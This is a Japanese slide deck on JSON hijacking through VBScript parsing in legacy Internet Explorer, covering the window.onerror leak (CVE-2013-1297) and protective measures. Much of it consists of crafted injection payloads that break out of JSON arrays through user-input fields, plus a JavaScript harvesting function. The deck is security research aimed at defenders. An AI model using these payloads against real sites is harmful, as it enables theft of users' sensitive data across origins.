@masa141421356
このスライドは左右の矢印キーでページを移動してください
VBScript には、識別子を [] で括って参照することで、予約語と衝突する名前の識別子を参照できるという機能があります。
例:[if]
は "if" という名前の識別子で if文の始まりの意味はありません
"[character-sequence]" 内の, character-seqnenceは VBScriptの文字種の制限が適用されません
]
と改行以外の任意の文字が使用可能"
は単独の有効な文字'
も単独の有効な文字JSON配列は文法的には Valid な VBScriptでもある。
実行させると実行時エラーになるかエラーにならずに実行できるかどちらか
攻撃ベクタは2通り
window.onerror
の引数による情報漏洩(CVE-2013-1297)No. | メッセージ | 英語 |
---|---|---|
13 | 型が一致しません。 | Type missmatch |
424 | オブジェクトがありません。 | Object Required |
438 | オブジェクトでサポートされていないプロパティまたはメソッドです。 | Object doesn't support this property or method |
450 | 引数の数が一致していません。または不正のプロパティを指定しています。 | Wrong number of arguments or invalid property assignment |
506 | クラスが定義されていません。 | Class not defined |
No. | メッセージ | 英語 |
---|---|---|
6 | オーバーフローしました。 | Overflow |
9 | インデックスが有効範囲にありません。 | Subscript out of range |
error code | error message |
---|---|
13 | Type missmatch |
error code | error message |
---|---|
424 | Object Required |
438 | Object doesn't support this property or method |
450 | Wrong number of arguments or invalid property assignment |
506 | Class not defined |
error code | error message |
---|---|
6 | Overflow |
9 | Subscript out of range |
VBScriptの Err.Description
には文脈依存の内容は含まれませんが、window.onerror
の引数には文脈依存の内容も入っていて、そこから秘密情報を抜き取ることが可能です。
<script> window.onerror = function(e){ alert(e);}; </script> <script language="vbs" src="http://example.com/json">
Call
の省略された Call文扱いとなり、実行時エラー13が発生します。
["sensitive","data","is","here"]
この手法だけで十分では? と思うかもしれませんが、これ以外の方法でしかできない攻撃もあるんです。
]
をエスケープしていない場合、
そこでJSON配列を分割することで攻撃が可能になります。
["sensitive-data-1","$USER-INPUT","sensitive-data-2"]
存在しないオブジェクトのプロパティを参照
["sensitive-data-1","].aa '","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","].aa '","sensitive-data-2"]
Set
を使わずにオブジェクトを代入する
["sensitive-data-1","]=CreateObject("Microsoft.xmlhttp")'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=CreateObject("Microsoft.xmlhttp")'","sensitive-data-2"]
Call
の無い Call文を使う
["sensitive-data-1","]'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]'","sensitive-data-2"]
["sensitive-data-1","](0)=0'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","](0)=0'","sensitive-data-2"]
["sensitive-data-1","]=GetRef(funcName)'","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=GetRef(funcName)'","sensitive-data-2"]
["sensitive-data-1","]=0:[","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]=0:[","sensitive-data-2"]
["sensitive-data-1","]=document.[","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data-1","]=document.[","sensitive-data-2"]
["sensitive-data-1","]=new [","sensitive-data-2"]
これは以下のように解釈されます。
["sensitive-data 1","]=new [","sensitive-data-2"]
"
を \"
にエスケープするものとします。
["$USER-INPUT1","sensitive-data","$USER-INPUT2"]
With
文
["]=0:With [","sensitive-data","]:End With'"]これは以下のように解釈されます。
["]=0:With [","sensitive-data","]:End With'"]
["]=0:document.[","sensitive-data","]=1'"]これは以下のように解釈されます。
["]=0:document.[","sensitive-data","]=1'"]
文字列を数値に変換しようとしてエラー。
引数が3つ以上あり、数値であることが要求される引数のところに秘密情報を渡す。以下の関数が攻撃に使用可能。
DateAdd(第2引数)
Mid(第2引数)
MsgBox(第2引数)
RGB(第2引数)
Mid
関数を使った例
["]=0:Mid 0\"1","sensitive-data","1\"'"]これは以下のように解釈されます。
["]=0:Mid 0\"1","sensitive-data","1\"'"]
a3d(0,0,0)
として配列宣言済みで、秘密情報は"4748923"
であるものとします。
["]=0:a3d(0\"1","4748923","0\")=0'"]これは以下のように解釈されます。
["]=0:a3d(0\"1", "4748923","0\")=0'"]
Integer
の範囲外値を指定。"47489234748923"
であるものとします。
["]=0:a3d(0\"1","47489234748923","0\")=0'"]これは以下のように解釈されます。
["]=0:a3d(0\"1","47489234748923","0\")=0'"]
Redim (配列の添字範囲はLong)
RGB(引数はInteger)
Mid(第2引数はLong)
MsgBox(第2引数はLong)
["]=0:evilVal=RGB(0\"1","4748923","0\")'"]これは以下のように解釈されます。
["]=0:evilVal=RGB(0\"1","4748923","0\")'"]
["$USER-INPUT1","sensitive-data","$USER-INPUT2"]
EvilFunc
に秘密情報を渡す。
["]=0:EvilFunc 0\"1","sensitive-data","\"'"]これは以下のように解釈されます。
["]=0:EvilFunc 0\"1","sensitive-data","\"'"]
function EvilFunc() { var s = ''; for (var i = 0; i < arguments.length; i++) { s += '\n ' + i + ' : '; if (typeof arguments[i] === 'string') { s += '"' + arguments[i] + '"'; } else { s += arguments[i]; } } var m = (/sensitive/.test(s)) ? 'HIJACK SUCCEEDED!!' : 'Hijack failed.'; alert(m + '\n----------------------------------------\narguments:' + s); }
["]=0:Err.Raise 1,0\"1","sensitive-data","\"'"]これは以下のように解釈されます。
["]=0:Err.Raise 1,0\"1","sensitive-data","\"'"]
JSON保護にはいくつかの方法がありますが、私はVBScriptとして実行させないという対策を強く勧めます
X-Content-Type-Options:nosniff
詳細 は @hasegawayosuke さんの日記を読んでください。 http://d.hatena.ne.jp/hasegawayosuke/20130517/p1
以下は、そのような対策が出来ない場合の対策です。
[
の後で改行[
"sensitive","data","is","here"]
"{"
で構文エラー 1032 (Invalid character).になるので安全です。
{"data": ["sensitive","data","is","here"]}
for(;;);
for(;;);["sensitive","data","is","here"]
while(1);
";"
で構文エラー 1024(Expected statement)この方法は UTF-16を使った攻撃手法(http://vwzq.net/challenge/jsonhijack.html)に弱いので推奨しません。
while(1);["sensitive","data","is","here"]
あくまでもエラーを起こすのは ;
であって while(1)
ではありません。
;
のない形だと ]:Wend'
を補うことで突破可能です
while(1)
["sensitive-data 1","]:Wend'","sensitive-data-2"]
これは以下のように解釈されます。
while(1) ["sensitive-data 1","]:Wend'","sensitive-data-2"]